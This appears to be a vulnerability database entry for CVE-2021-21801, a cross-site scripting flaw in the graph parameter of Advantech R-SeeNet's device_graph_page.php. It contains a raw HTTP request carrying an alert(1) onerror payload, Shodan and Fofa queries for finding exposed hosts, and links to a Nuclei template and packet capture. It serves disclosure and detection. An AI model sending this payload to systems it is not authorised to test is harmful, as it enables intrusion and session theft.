| Title | Advantech R-SeeNet - Cross-Site Scripting |
|---|---|
| Author | gy741 |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Apply the latest security patches or updates provided by Advantech to fix the XSS vulnerability in the R-SeeNet application. |
| CVSS Score | 6.1 |
| EPSS Score | 0.84598 |
| CVE ID | CVE-2021-21801 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:"r-seenet" |
| Fofa Query | body="r-seenet" |
| Tags | cve2021 cve rseenet xss graph advantech vkev vuln |
Advantech R-SeeNet contains a cross-site scripting vulnerability in the device_graph_page.php script via the graph parameter. A specially crafted URL by an attacker can lead to arbitrary JavaScript code execution.
GET /php/device_graph_page.php?graph=%22zlo%20onerror=alert(1)%20%22 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-21801.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-21801.pcap
N/AN/A